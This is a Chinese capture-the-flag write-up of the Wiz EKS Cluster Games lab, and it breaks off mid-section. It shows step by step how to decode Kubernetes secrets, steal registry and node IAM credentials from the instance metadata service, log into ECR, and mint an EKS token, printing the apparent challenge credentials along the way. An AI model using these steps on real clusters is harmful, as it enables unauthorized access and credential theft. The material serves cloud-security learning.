一个AWS EKS的靶场,正好学习一下EKS安全,地址https://eksclustergames.com/

img

Welcome To The Challenge

You’ve hacked into a low-privileged AWS EKS pod. Use the web terminal below to find flags across the environment. Each challenge runs in a different Kubernetes namespaces with varying permissions.

All K8s resources are crucial; challenges are based on real EKS misconfigurations and security issues.

Click “Begin Challenge” on your desktop, and for guidance, click the question mark icon for useful cheat sheet.

Good luck!

Amazon Elastic Kubernetes Service (EKS)是aws的一种云服务,也就是aws自己改的k8s,题目会给我们集群中一个低权限pod的shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__        ___       _____ _  ______
\ \ / (_)____ | ____| |/ / ___|
\ \ /\ / /| |_ / | _| | ' /\___ \
\ V V / | |/ / | |___| . \ ___) |
\_/\_/ |_/___| |_____|_|\_\____/
____ _ _ _
/ ___| |__ __ _| | | ___ _ __ __ _ ___
| | | '_ \ / _` | | |/ _ \ '_ \ / _` |/ _ \
| |___| | | | (_| | | | __/ | | | (_| | __/
\____|_| |_|\__,_|_|_|\___|_| |_|\__, |\___|
|___/
Welcome to Wiz EKS Challenge!
For your convenience, the following directories are persistent across sessions:
* /home/user
* /tmp

Use kubectl to start!
root@wiz-eks-challenge:~#

Secret Seeker

Jumpstart your quest by listing all the secrets in the cluster. Can you spot the flag among them?

1
2
3
4
5
6
{
"secrets": [
"get",
"list"
]
}

我们对secrets可以进行get和list,我们可以先尝试list

1
2
3
root@wiz-eks-challenge:~# kubectl get secrets
NAME TYPE DATA AGE
log-rotate Opaque 1 120d

再get一下,用yaml输出

1
2
3
4
5
6
7
8
9
10
11
12
root@wiz-eks-challenge:~# kubectl get secrets log-rotate -o yaml
apiVersion: v1
data:
flag: d2l6X2Vrc19jaGFsbGVuZ2V7b21nX292ZXJfcHJpdmlsZWdlZF9zZWNyZXRfYWNjZXNzfQ==
kind: Secret
metadata:
creationTimestamp: "2023-11-01T13:02:08Z"
name: log-rotate
namespace: challenge1
resourceVersion: "890951"
uid: 03f6372c-b728-4c5b-ad28-70d5af8d387c
type: Opaque

解码得到flag

Registry Hunt

A thing we learned during our research: always check the container registries.

For your convenience, the crane utility is already pre-installed on the machine.

Hint #1

Try obtaining the container registry credentials to pull container images and examine them for sensitive secrets.

Hint #2

Reading about ImagePullSecrets might be useful 😉

1
2
3
4
5
6
7
8
9
{
"secrets": [
"get"
],
"pods": [
"list",
"get"
]
}

先尝试列出pods

1
2
3
root@wiz-eks-challenge:~# kubectl get pods    
NAME READY STATUS RESTARTS AGE
database-pod-2c9b3a4e 1/1 Running 3 (12d ago) 120d

看看这个pods的详细信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
root@wiz-eks-challenge:~# kubectl get pods database-pod-2c9b3a4e -o yaml
apiVersion: v1
kind: Pod
metadata:
annotations:
kubernetes.io/psp: eks.privileged
pulumi.com/autonamed: "true"
creationTimestamp: "2023-11-01T13:32:05Z"
name: database-pod-2c9b3a4e
namespace: challenge2
resourceVersion: "33604373"
uid: 57fe7d43-5eb3-4554-98da-47340d94b4a6
spec:
containers:
- image: eksclustergames/base_ext_image
imagePullPolicy: Always
name: my-container
resources: {}
terminationMessagePath: /dev/termination-log
terminationMessagePolicy: File
volumeMounts:
- mountPath: /var/run/secrets/kubernetes.io/serviceaccount
name: kube-api-access-cq4m2
readOnly: true
dnsPolicy: ClusterFirst
enableServiceLinks: true
imagePullSecrets:
- name: registry-pull-secrets-780bab1d
nodeName: ip-192-168-21-50.us-west-1.compute.internal
preemptionPolicy: PreemptLowerPriority
priority: 0
restartPolicy: Always
schedulerName: default-scheduler
securityContext: {}
serviceAccount: default
serviceAccountName: default
terminationGracePeriodSeconds: 30
tolerations:
- effect: NoExecute
key: node.kubernetes.io/not-ready
operator: Exists
tolerationSeconds: 300
- effect: NoExecute
key: node.kubernetes.io/unreachable
operator: Exists
tolerationSeconds: 300
volumes:
- name: kube-api-access-cq4m2
projected:
defaultMode: 420
sources:
- serviceAccountToken:
expirationSeconds: 3607
path: token
- configMap:
items:
- key: ca.crt
path: ca.crt
name: kube-root-ca.crt
- downwardAPI:
items:
- fieldRef:
apiVersion: v1
fieldPath: metadata.namespace
path: namespace
status:
conditions:
- lastProbeTime: null
lastTransitionTime: "2023-11-01T13:32:05Z"
status: "True"
type: Initialized
- lastProbeTime: null
lastTransitionTime: "2024-02-18T08:39:03Z"
status: "True"
type: Ready
- lastProbeTime: null
lastTransitionTime: "2024-02-18T08:39:03Z"
status: "True"
type: ContainersReady
- lastProbeTime: null
lastTransitionTime: "2023-11-01T13:32:05Z"
status: "True"
type: PodScheduled
containerStatuses:
- containerID: containerd://3699550c29b6f1977eb55e6a64a6d67c25ab4d0c4c8d9b6c6bc77809fff3d12a
image: docker.io/eksclustergames/base_ext_image:latest
imageID: docker.io/eksclustergames/base_ext_image@sha256:a17a9428af1cc25f2158dfba0fe3662cad25b7627b09bf24a915a70831d82623
lastState:
terminated:
containerID: containerd://3303b43f9bfc4c022aa7366ecbc0abdde24b3bd540fb8cd92cc1a28579fcac25
exitCode: 0
finishedAt: "2024-02-18T08:39:01Z"
reason: Completed
startedAt: "2024-01-13T02:16:44Z"
name: my-container
ready: true
restartCount: 3
started: true
state:
running:
startedAt: "2024-02-18T08:39:03Z"
hostIP: 192.168.21.50
phase: Running
podIP: 192.168.12.173
podIPs:
- ip: 192.168.12.173
qosClass: BestEffort
startTime: "2023-11-01T13:32:05Z"

其中包含了imagePullSecrets,指定了拉取镜像时的凭据,这个凭据是secret类型的,我们有get secret的权限,可以看看这个凭据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
root@wiz-eks-challenge:~# kubectl get secret registry-pull-secrets-780bab1d -o yaml
apiVersion: v1
data:
.dockerconfigjson: eyJhdXRocyI6IHsiaW5kZXguZG9ja2VyLmlvL3YxLyI6IHsiYXV0aCI6ICJaV3R6WTJ4MWMzUmxjbWRoYldWek9tUmphM0pmY0dGMFgxbDBibU5XTFZJNE5XMUhOMjAwYkhJME5XbFpVV280Um5WRGJ3PT0ifX19
kind: Secret
metadata:
annotations:
pulumi.com/autonamed: "true"
creationTimestamp: "2023-11-01T13:31:29Z"
name: registry-pull-secrets-780bab1d
namespace: challenge2
resourceVersion: "897340"
uid: 1348531e-57ff-42df-b074-d9ecd566e18b
type: kubernetes.io/dockerconfigjson

他是一个kubernetes.io/dockerconfigjson类型的secret,用于存储 Docker 镜像仓库的认证信息,以便在拉取私有镜像时进行身份验证,可以用以下命令来创建

1
2
3
4
5
kubectl create secret docker-registry registry-pull-secrets-780bab1d \
--docker-server=<registry-url> \
--docker-username=<username> \
--docker-password=<password> \
--docker-email=<email>

我们解码一下.dockerconfigjson

1
2
3
4
5
6
7
{
"auths": {
"index.docker.io/v1/": {
"auth": "ZWtzY2x1c3RlcmdhbWVzOmRja3JfcGF0X1l0bmNWLVI4NW1HN200bHI0NWlZUWo4RnVDbw=="
}
}
}

再解码一下auth字段,拿到用户名和密码

1
eksclustergames:dckr_pat_YtncV-R85mG7m4lr45iYQj8FuCo

我们可以尝试用这个凭证来登录他的Registry,这里要用到crane,先进行登录

1
2
root@wiz-eks-challenge:~# crane auth login index.docker.io -u eksclustergames -p dckr_pat_YtncV-R85mG7m4lr45iYQj8FuCo
2024/03/01 12:07:14 logged in via /home/user/.docker/config.jso

这个pod所用的镜像是eksclustergames/base_ext_image,我们可以查看一下信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
root@wiz-eks-challenge:~# crane ls eksclustergames/base_ext_image
latest
root@wiz-eks-challenge:~# crane manifest eksclustergames/base_ext_image
{
"schemaVersion": 2,
"mediaType": "application/vnd.docker.distribution.manifest.v2+json",
"config": {
"mediaType": "application/vnd.docker.container.image.v1+json",
"size": 1112,
"digest": "sha256:add093cd268deb7817aee1887b620628211a04e8733d22ab5c910f3b6cc91867"
},
"layers": [
{
"mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
"size": 2219949,
"digest": "sha256:3f4d90098f5b5a6f6a76e9d217da85aa39b2081e30fa1f7d287138d6e7bf0ad7"
},
{
"mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
"size": 289,
"digest": "sha256:193bf7018861e9ee50a4dc330ec5305abeade134d33d27a78ece55bf4c779e06"
}
]
}root@wiz-eks-challenge:~# crane digest eksclustergames/base_ext_image
sha256:a17a9428af1cc25f2158dfba0fe3662cad25b7627b09bf24a915a70831d82623
root@wiz-eks-challenge:~# crane config eksclustergames/base_ext_image
{"architecture":"amd64","config":{"Env":["PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"],"Cmd":["/bin/sleep","3133337"],"ArgsEscaped":true,"OnBuild":null},"created":"2023-11-01T13:32:18.920734382Z","history":[{"created":"2023-07-18T23:19:33.538571854Z","created_by":"/bin/sh -c #(nop) ADD file:7e9002edaafd4e4579b65c8f0aaabde1aeb7fd3f8d95579f7fd3443cef785fd1 in / "},{"created":"2023-07-18T23:19:33.655005962Z","created_by":"/bin/sh -c #(nop) CMD [\"sh\"]","empty_layer":true},{"created":"2023-11-01T13:32:18.920734382Z","created_by":"RUN sh -c echo 'wiz_eks_challenge{nothing_can_be_said_to_be_certain_except_death_taxes_and_the_exisitense_of_misconfigured_imagepullsecret}' \u003e /flag.txt # buildkit","comment":"buildkit.dockerfile.v0"},{"created":"2023-11-01T13:32:18.920734382Z","created_by":"CMD [\"/bin/sleep\" \"3133337\"]","comment":"buildkit.dockerfile.v0","empty_layer":true}],"os":"linux","rootfs":{"type":"layers","diff_ids":["sha256:3d24ee258efc3bfe4066a1a9fb83febf6dc0b1548dfe896161533668281c9f4f","sha256:a70cef1cb742e242b33cc21f949af6dc7e59b6ea3ce595c61c179c3be0e5d432"]}}

拿到flag

Based on real events

We successfully used this technique in both of our engagements with Alibaba Cloud and IBM Cloud to obtain internal container images and to prove unauthorized access to cross-tenant data.

这里值得一提的是,这道题是之前阿里云和IBM云中的跨租户未经授权访问漏洞的真实案例改编而来,过程远比这个复杂,但是思路是一样的,有兴趣可以延伸阅读,相关地址如下:

https://www.wiz.io/blog/brokensesame-accidental-write-permissions-to-private-registry-allowed-potential-r

https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql

Image Inquisition

A pod’s image holds more than just code. Dive deep into its ECR repository, inspect the image layers, and uncover the hidden secret.

Remember: You are running inside a compromised EKS pod.

For your convenience, the crane utility is already pre-installed on the machine.

Hint #1

Try contacting the IMDS to get the ECR credentials.

Hint #2

Try looking into the image’s layers. As always, the flag is prefixed with wiz_eks_challenge

1
2
3
4
5
6
{
"pods": [
"list",
"get"
]
}

我们有get和list的权限,先看看当前的pod

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
root@wiz-eks-challenge:~# kubectl get pods
NAME READY STATUS RESTARTS AGE
accounting-pod-876647f8 1/1 Running 3 (14d ago) 122d
root@wiz-eks-challenge:~# kubectl get pods -o yaml
apiVersion: v1
items:
- apiVersion: v1
kind: Pod
metadata:
annotations:
kubernetes.io/psp: eks.privileged
pulumi.com/autonamed: "true"
creationTimestamp: "2023-11-01T13:32:10Z"
name: accounting-pod-876647f8
namespace: challenge3
resourceVersion: "33604385"
uid: dd2256ae-26ca-4b94-a4bf-4ac1768a54e2
spec:
containers:
- image: 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01
imagePullPolicy: IfNotPresent
name: accounting-container
resources: {}
terminationMessagePath: /dev/termination-log
terminationMessagePolicy: File
volumeMounts:
- mountPath: /var/run/secrets/kubernetes.io/serviceaccount
name: kube-api-access-mmvjj
readOnly: true
dnsPolicy: ClusterFirst
enableServiceLinks: true
nodeName: ip-192-168-21-50.us-west-1.compute.internal
preemptionPolicy: PreemptLowerPriority
priority: 0
restartPolicy: Always
schedulerName: default-scheduler
securityContext: {}
serviceAccount: default
serviceAccountName: default
terminationGracePeriodSeconds: 30
tolerations:
- effect: NoExecute
key: node.kubernetes.io/not-ready
operator: Exists
tolerationSeconds: 300
- effect: NoExecute
key: node.kubernetes.io/unreachable
operator: Exists
tolerationSeconds: 300
volumes:
- name: kube-api-access-mmvjj
projected:
defaultMode: 420
sources:
- serviceAccountToken:
expirationSeconds: 3607
path: token
- configMap:
items:
- key: ca.crt
path: ca.crt
name: kube-root-ca.crt
- downwardAPI:
items:
- fieldRef:
apiVersion: v1
fieldPath: metadata.namespace
path: namespace
status:
conditions:
- lastProbeTime: null
lastTransitionTime: "2023-11-01T13:32:10Z"
status: "True"
type: Initialized
- lastProbeTime: null
lastTransitionTime: "2024-02-18T08:39:05Z"
status: "True"
type: Ready
- lastProbeTime: null
lastTransitionTime: "2024-02-18T08:39:05Z"
status: "True"
type: ContainersReady
- lastProbeTime: null
lastTransitionTime: "2023-11-01T13:32:10Z"
status: "True"
type: PodScheduled
containerStatuses:
- containerID: containerd://03de63437cb74b1c4468c82ebf02f0eade3be5edb4406015327fae3026a8ee97
image: sha256:575a75bed1bdcf83fba40e82c30a7eec7bc758645830332a38cef238cd4cf0f3
imageID: 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01
lastState:
terminated:
containerID: containerd://e72175f0a509be4eed8977f9d292040465522dd73e6978882a4c3d699ae2e829
exitCode: 0
finishedAt: "2024-02-18T08:39:04Z"
reason: Completed
startedAt: "2024-01-13T02:16:47Z"
name: accounting-container
ready: true
restartCount: 3
started: true
state:
running:
startedAt: "2024-02-18T08:39:04Z"
hostIP: 192.168.21.50
phase: Running
podIP: 192.168.5.251
podIPs:
- ip: 192.168.5.251
qosClass: BestEffort
startTime: "2023-11-01T13:32:10Z"
kind: List
metadata:
resourceVersion: ""

可以拿到这个pod所用的镜像,这个镜像使用的是ecr,aws的一种容器服务

1
688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01

尝试查看镜像tag发现没有权限,这个镜像服务一定是利用aws凭证进行访问的,我们可以尝试窃取这个凭证,再拉取镜像查看

1
2
root@wiz-eks-challenge:~# crane ls 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c
Error: reading tags for 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c: GET https://688655246681.dkr.ecr.us-west-1.amazonaws.com/v2/central_repo-aaf4a7c/tags/list?n=1000: unexpected status code 401 Unauthorized: Not Authorized

那么如何窃取凭证呢,我们可以先试试环境中的aws,发现这里并没有凭据,环境变量中也没有

1
2
3
root@wiz-eks-challenge:~# aws sts get-caller-identity

Unable to locate credentials. You can configure credentials by running "aws configure".

我们此时的这个pod是eks上的,我们可以尝试访问aws的元数据服务,IMDS全称 Instance Metadata Service,v1 就是Amazon EC2实例元数据服务的第一个版本。通过请求AWS的元数据接口,能获取到运行示例的相关数据信息。常见厂商的云服务地址如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#AWS
http://instance-data
http://169.254.169.254
#Google Cloud
http://169.254.169.254
http://metadata.google.internal
http://metadata
#Azure
http://169.254.169.254
#Digital Ocean
http://169.254.169.254
#Packetcloud
https://metadata.packet.net
#Oracle Cloud
http://169.254.169.254
#Alibaba Cloud
http://100.100.100.200
#Tencent Cloud
http://metadata.tencentyun.com
http://169.254.0.23

IMDSv1存在一定的风险,且出现过较为严重的安全事件,AWS官方已明确提示使用IMDSv2代替IMDSv1,并于2024年年中起,新发布的Amazon EC2实例类型将仅使用v2版本的IMDS。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
root@wiz-eks-challenge:~# curl 169.254.169.254/latest/meta-data
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hostname
iam/
identity-credentials/
instance-action
instance-id
instance-life-cycle
instance-type
local-hostname
local-ipv4
mac
metrics/
network/
placement/
profile
public-hostname
public-ipv4
reservation-id
security-groups
services/

里面存在iam文件夹,我们可以找到凭证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
root@wiz-eks-challenge:~# curl 169.254.169.254/latest/meta-data/iam
info
security-credentials/

root@wiz-eks-challenge:~# curl 169.254.169.254/latest/meta-data/iam/info
{
"Code" : "Success",
"LastUpdated" : "2024-03-04T16:15:16Z",
"InstanceProfileArn" : "arn:aws:iam::688655246681:instance-profile/eks-36c5c399-cac4-2600-89ff-c478e8f231c5",
"InstanceProfileId" : "AIPA2AVYNEVM276Q75VCN"
}

root@wiz-eks-challenge:~# curl 169.254.169.254/latest/meta-data/iam/security-credentials
eks-challenge-cluster-nodegroup-NodeInstanceRole

root@wiz-eks-challenge:~# curl 169.254.169.254/latest/meta-data/iam/security-credentials/eks-challenge-cluster-nodegroup-NodeInstanceRole
{"AccessKeyId":"ASIA2AVYNEVMSJ3IDMGO","Expiration":"2024-03-04 17:40:56+00:00","SecretAccessKey":"G4wnjld4/XIza/pUrHyQo9V7FafUFdgdqTu7+GRl","SessionToken":"FwoGZXIvYXdzEJL//////////wEaDC7/c2RsTN5JH45NkSK3AUVmL9ORjbNMInjEszT2VucJOIGVUfUwBurX2AxxMJ7xM6cGcGl1IL1hPLPCWGFGlZ1DVfBgjfpxrHTt7jY+ZJqt/TOEBYa+RzJCIGbq6AFR4RKD4TC4DALievR7TotGGblfJ6kjPNluPizOPIf9U82oHlBYgcjAUO0mEF4lofON9GyyYaUu5t7q+cPz+VqJYWpJjClxRRrzDysUEykuN+MzGFdldbn5ArBWsivz4k03NueICIrM5yiY85evBjIt6vIXOkEd+8Q8sepPT3fgL0a/pHtBuv6PNRQqG52U+yjFN+44pR5cTqDFK2cM"}

看名字是一个node的凭证,我们可以在pod内配置一下,最后sts确认一下

1
2
3
4
5
6
7
8
root@wiz-eks-challenge:~# aws sts get-caller-identity
{
"UserId": "AROA2AVYNEVMQ3Z5GHZHS:i-0cb922c6673973282",
"Account": "688655246681",
"Arn": "arn:aws:sts::688655246681:assumed-role/eks-challenge-cluster-nodegroup-NodeInstanceRole/i-0cb922c6673973282"
}

{"AccessKeyId":"ASIA2AVYNEVMY2OYKCMX","Expiration":"2024-03-05 05:42:19+00:00","SecretAccessKey":"+nRpBLxtN8CNoh65h/UUcgqL+iyIvA5MBDx4/3CV","SessionToken":"FwoGZXIvYXdzEJ7//////////wEaDK15zTjZ0VlcYx5NNyK3AW938ojlNySzcO2txGobkPSz+2NwwU7bEeai0llevoO9CiArNEWf2Kv8EW/q2THlegg5ZpAF6Jt/0oTdRuShjOF24HfZdEAm5r/lwSkeILVNznoqnUPxEEee9WWIJ2UH73mlCJBCw3mkwIvx2rati79LFqQCKCpuBei5KvAc1B/pP3pXCO+fZjoKI26qwf40Pi/tTpbQdz9mwrEWtEUJulwWGRxT8xNyEvnvbMJqc+MryY6pQQHNpyirxZqvBjItBfGe8MFmaCgsveCCeTIlDSFE5mhMGiZYAsfDEFKlBDa0kw7GxZHLrtl0pzaw"}

拿了凭据就可以去访问他的ecr服务了,先看看他的仓库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
root@wiz-eks-challenge:~# aws ecr describe-repositories
{
"repositories": [
{
"repositoryArn": "arn:aws:ecr:us-west-1:688655246681:repository/testos",
"registryId": "688655246681",
"repositoryName": "testos",
"repositoryUri": "688655246681.dkr.ecr.us-west-1.amazonaws.com/testos",
"createdAt": "2023-10-29T17:52:00.228000+00:00",
"imageTagMutability": "MUTABLE",
"imageScanningConfiguration": {
"scanOnPush": false
},
"encryptionConfiguration": {
"encryptionType": "AES256"
}
},
{
"repositoryArn": "arn:aws:ecr:us-west-1:688655246681:repository/central_repo-aaf4a7c",
"registryId": "688655246681",
"repositoryName": "central_repo-aaf4a7c",
"repositoryUri": "688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c",
"createdAt": "2023-11-01T13:31:26.721000+00:00",
"imageTagMutability": "MUTABLE",
"imageScanningConfiguration": {
"scanOnPush": false
},
"encryptionConfiguration": {
"encryptionType": "AES256"
}
}
]
}

root@wiz-eks-challenge:~# aws ecr describe-images --repository-name central_repo-aaf4a7c
{
"imageDetails": [
{
"registryId": "688655246681",
"repositoryName": "central_repo-aaf4a7c",
"imageDigest": "sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01",
"imageTags": [
"374f28d8-container"
],
"imageSizeInBytes": 2221349,
"imagePushedAt": "2023-11-01T13:32:09+00:00",
"imageManifestMediaType": "application/vnd.docker.distribution.manifest.v2+json",
"artifactMediaType": "application/vnd.docker.container.image.v1+json",
"lastRecordedPullTime": "2024-03-04T16:15:14.073000+00:00"
}
]
}

我们找到了目标镜像,尝试拿一下ecr密码来登录,ecr的默认用户名为AWS

1
2
3
4
5
6
crane auth login -u AWS -p <password> <account-id>.dkr.ecr.<region>.amazonaws.com
docker login -u AWS -p <password> <account-id>.dkr.ecr.<region>.amazonaws.com
--password-stdin 参数表示从标准输入接收密码

root@wiz-eks-challenge:~# aws ecr get-login-password|crane auth login 688655246681.dkr.ecr.us-west-1.amazonaws.com -u AWS --password-stdin
2024/03/05 05:00:34 logged in via /home/user/.docker/config.json

用config查看各镜像层的信息,注意这里的镜像名字后面要么带上digest,要么带上tag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
root@wiz-eks-challenge:~# crane config 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01 | jq
{
"architecture": "amd64",
"config": {
"Env": [
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
],
"Cmd": [
"/bin/sleep",
"3133337"
],
"ArgsEscaped": true,
"OnBuild": null
},
"created": "2023-11-01T13:32:07.782534085Z",
"history": [
{
"created": "2023-07-18T23:19:33.538571854Z",
"created_by": "/bin/sh -c #(nop) ADD file:7e9002edaafd4e4579b65c8f0aaabde1aeb7fd3f8d95579f7fd3443cef785fd1 in / "
},
{
"created": "2023-07-18T23:19:33.655005962Z",
"created_by": "/bin/sh -c #(nop) CMD [\"sh\"]",
"empty_layer": true
},
{
"created": "2023-11-01T13:32:07.782534085Z",
"created_by": "RUN sh -c #ARTIFACTORY_USERNAME=challenge@eksclustergames.com ARTIFACTORY_TOKEN=wiz_eks_challenge{the_history_of_container_images_could_reveal_the_secrets_to_the_future} ARTIFACTORY_REPO=base_repo /bin/sh -c pip install setuptools --index-url intrepo.eksclustergames.com # buildkit # buildkit",
"comment": "buildkit.dockerfile.v0"
},
{
"created": "2023-11-01T13:32:07.782534085Z",
"created_by": "CMD [\"/bin/sleep\" \"3133337\"]",
"comment": "buildkit.dockerfile.v0",
"empty_layer": true
}
],
"os": "linux",
"rootfs": {
"type": "layers",
"diff_ids": [
"sha256:3d24ee258efc3bfe4066a1a9fb83febf6dc0b1548dfe896161533668281c9f4f",
"sha256:9057b2e37673dc3d5c78e0c3c5c39d5d0a4cf5b47663a4f50f5c6d56d8fd6ad5"
]
}
}

In this challenge, you retrieved credentials from the Instance Metadata Service (IMDS). Moving forward, these credentials will be readily available in the pod for your ease of use.

Pod Break

You’re inside a vulnerable pod on an EKS cluster. Your pod’s service-account has no permissions. Can you navigate your way to access the EKS Node’s privileged service-account?

Please be aware: Due to security considerations aimed at safeguarding the CTF infrastructure, the node has restricted permissions

Hint #1

Can’t determine the cluster’s name?
The convention for the IAM role of a node follows the pattern: [cluster-name]-nodegroup-NodeInstanceRole.

Hint #2

EKS supports IAM authentication. Nodes connect to the cluster the same way users do. Check out the documentation.

这一题我们拿到的pod的sa没有任何权限,目标是要拿到node权限的sa

可以用kubectl auth can-i –list查看一下,什么权限都没

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
root@wiz-eks-challenge:~# kubectl auth can-i --list
warning: the list may be incomplete: webhook authorizer does not support user rule resolution
Resources Non-Resource URLs Resource Names Verbs
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
[/.well-known/openid-configuration] [] [get]
[/api/*] [] [get]
[/api] [] [get]
[/apis/*] [] [get]
[/apis] [] [get]
[/healthz] [] [get]
[/healthz] [] [get]
[/livez] [] [get]
[/livez] [] [get]
[/openapi/*] [] [get]
[/openapi] [] [get]
[/openid/v1/jwks] [] [get]
[/readyz] [] [get]
[/readyz] [] [get]
[/version/] [] [get]
[/version/] [] [get]
[/version] [] [get]
[/version] [] [get]
podsecuritypolicies.policy [] [eks.privileged] [use]

本题的场景可以说是紧接上一题的,可以访问元数据拿到node的凭证,现在的目标是要接管eks

1
2
3
4
5
6
7
8
9
10
11
12
13
14
root@wiz-eks-challenge:~# curl 169.254.169.254/latest/meta-data/iam/info
{
"Code" : "Success",
"LastUpdated" : "2024-03-05T04:15:46Z",
"InstanceProfileArn" : "arn:aws:iam::688655246681:instance-profile/eks-36c5c399-cac4-2600-89ff-c478e8f231c5",
"InstanceProfileId" : "AIPA2AVYNEVM276Q75VCN"
}

root@wiz-eks-challenge:~# aws sts get-caller-identity
{
"UserId": "AROA2AVYNEVMQ3Z5GHZHS:i-0cb922c6673973282",
"Account": "688655246681",
"Arn": "arn:aws:sts::688655246681:assumed-role/eks-challenge-cluster-nodegroup-NodeInstanceRole/i-0cb922c6673973282"
}

我们拿到的aws凭证是node的凭证,但我们现在在pod中,里面的kubectl没有任何权限,我们的目标就是能否利用这个有权限的aws凭证来使用eks服务,从而拿到这个集群的高权限,再给kubectl使用即可,参考https://cloud.hacktricks.xyz/v/cn-cloud/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation

方法一:获取一个高权限的token

我们可以使用aws eks get-token --cluster-name <cluster_name>来获取一个相应高权限的token,但前提是要知道集群的名字,eks中的describe cluster和list clusters经过测试都没有权限,我们可以在aws凭证的arn中找到这个集群的名字eks-challenge-cluster

1
2
3
4
5
6
7
8
9
10
root@wiz-eks-challenge:~# aws eks get-token --cluster-name eks-challenge-cluster
{
"kind": "ExecCredential",
"apiVersion": "client.authentication.k8s.io/v1beta1",
"spec": {},
"status": {
"expirationTimestamp": "2024-03-05T06:34:07Z",
"token": "k8s-aws-v1.aHR0cHM6Ly9zdHMudXMtd2VzdC0xLmFtYXpvbmF3cy5jb20vP0FjdGlvbj1HZXRDYWxsZXJJZGVudGl0eSZWZXJzaW9uPTIwMTEtMDYtMTUmWC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BU0lBMkFWWU5FVk1VQUlPR1VQWiUyRjIwMjQwMzA1JTJGdXMtd2VzdC0xJTJGc3RzJTJGYXdzNF9yZXF1ZXN0JlgtQW16LURhdGU9MjAyNDAzMDVUMDYyMDA3WiZYLUFtei1FeHBpcmVzPTYwJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCUzQngtazhzLWF3cy1pZCZYLUFtei1TZWN1cml0eS1Ub2tlbj1Gd29HWlhJdllYZHpFS0QlMkYlMkYlMkYlMkYlMkYlMkYlMkYlMkYlMkYlMkZ3RWFERGNWM2FueWVFb2xoJTJGazlSU0szQVkzSVZtZ0p0UWVwaWxmdzlTSktmOCUyQlVZb2ZOYTBhZlJYJTJCYVhaak43eW55UXJuWUZMdElsNmVhSUs4JTJCVVVOWGpVeG9QdjFhMUE0T3luM3JmUVA0TCUyQlBMb2M5dyUyQnhRRHZ2bTJnQ1pLSyUyQmNDckxoU0lwdzRGbWRVYzFJMWx4N2EzdEl2b2xHN05pR3ZVSkNyZlJlUGdQRXgzODhPeXl1M01iRGVLNjh1UHVTMzFWMUhUbTRYUWRHQWVCYWpwOGFVc21sdEZ0NkFONzU5elROMldWeXhOZm54SHIxOG1nZHA2djQ4ZGU3dzl3dSUyRjc2ZzZrRGQxUkNpNzhKcXZCakl0TEpWSjJkb0pKcGVVcldnQU5OdGpVNnRBV1Z2UiUyQlRFeDdWbTZFcVNZeSUyQnFKT1U3cHAxSU5NdjZxdVBFbSZYLUFtei1TaWduYXR1cmU9NWZkZTMwMGUyNTZkNmI5Zjg4NjM2ODQwYzc5YjNhOTUyOTYzNmY4Y2ZlZGM5YmMzN2ZiMDE3YmZiMGM2MzRjNg"
}
}

接下来就可以使用这个token来访问k8s的api

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
